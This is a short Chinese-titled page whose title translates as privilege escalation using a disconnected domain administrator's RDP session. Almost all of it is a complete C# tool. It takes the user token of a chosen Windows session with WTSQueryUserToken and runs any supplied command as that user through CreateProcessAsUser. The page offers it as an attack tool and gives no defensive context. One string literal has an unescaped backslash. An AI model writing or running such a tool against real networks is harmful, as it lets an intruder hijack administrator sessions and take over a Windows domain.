利用断开的域管理员rdp会话提权

using System;using System.Runtime.InteropServices;using System.ComponentModel;using System.Security.Principal;class Program{    [DllImport("wtsapi32.dll", SetLastError = true)]    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);    [DllImport("kernel32.dll", SetLastError = true)]    static extern bool CloseHandle(IntPtr hObject);    [DllImport("userenv.dll", SetLastError = true)]    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);    [DllImport("userenv.dll", SetLastError = true)]    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);    [DllImport("advapi32.dll", SetLastError = true)]    static extern bool CreateProcessAsUser(        IntPtr hToken,        string lpApplicationName,        string lpCommandLine,        IntPtr lpProcessAttributes,        IntPtr lpThreadAttributes,        bool bInheritHandles,        uint dwCreationFlags,        IntPtr lpEnvironment,        string lpCurrentDirectory,        ref STARTUPINFO lpStartupInfo,        out PROCESS_INFORMATION lpProcessInformation);    [StructLayout(LayoutKind.Sequential)]    struct STARTUPINFO    {        public int cb;        public string lpReserved;        public string lpDesktop;        public string lpTitle;        public uint dwX;        public uint dwY;        public uint dwXSize;        public uint dwYSize;        public uint dwXCountChars;        public uint dwYCountChars;        public uint dwFillAttribute;        public uint dwFlags;        public short wShowWindow;        public short cbReserved2;        public IntPtr lpReserved2;        public IntPtr hStdInput;        public IntPtr hStdOutput;        public IntPtr hStdError;    }    [StructLayout(LayoutKind.Sequential)]    struct PROCESS_INFORMATION    {        public IntPtr hProcess;        public IntPtr hThread;        public uint dwProcessId;        public uint dwThreadId;    }    static void Main(string[] args)    {        if (args.Length < 2)        {            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");            return;        }        int sessionId;        if (!int.TryParse(args[0], out sessionId))        {            Console.WriteLine("Invalid session ID");            return;        }        string command = args[1];        IntPtr userToken = IntPtr.Zero;        IntPtr envBlock = IntPtr.Zero;        try        {            // Get user token for the specified session            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);            if (!tokenResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            // Create environment block            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);            if (!envResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            // Prepare startup info            STARTUPINFO startupInfo = new STARTUPINFO();            startupInfo.cb = Marshal.SizeOf(startupInfo);            startupInfo.lpDesktop = "winsta0\default";            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();            // Create process as user            bool processResult = CreateProcessAsUser(                userToken,                null,                command,                IntPtr.Zero,                IntPtr.Zero,                false,                0x00000400, // CREATE_UNICODE_ENVIRONMENT                envBlock,                null,                ref startupInfo,                out processInfo);            if (!processResult)            {                int error = Marshal.GetLastWin32Error();                throw new Win32Exception(error);            }            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);            // Clean up process handles            CloseHandle(processInfo.hProcess);            CloseHandle(processInfo.hThread);        }        catch (Exception ex)        {            Console.WriteLine("Error: {0}", ex.Message);        }        finally        {            // Clean up resources            if (envBlock != IntPtr.Zero)            {                DestroyEnvironmentBlock(envBlock);            }            if (userToken != IntPtr.Zero)            {                CloseHandle(userToken);            }        }    }}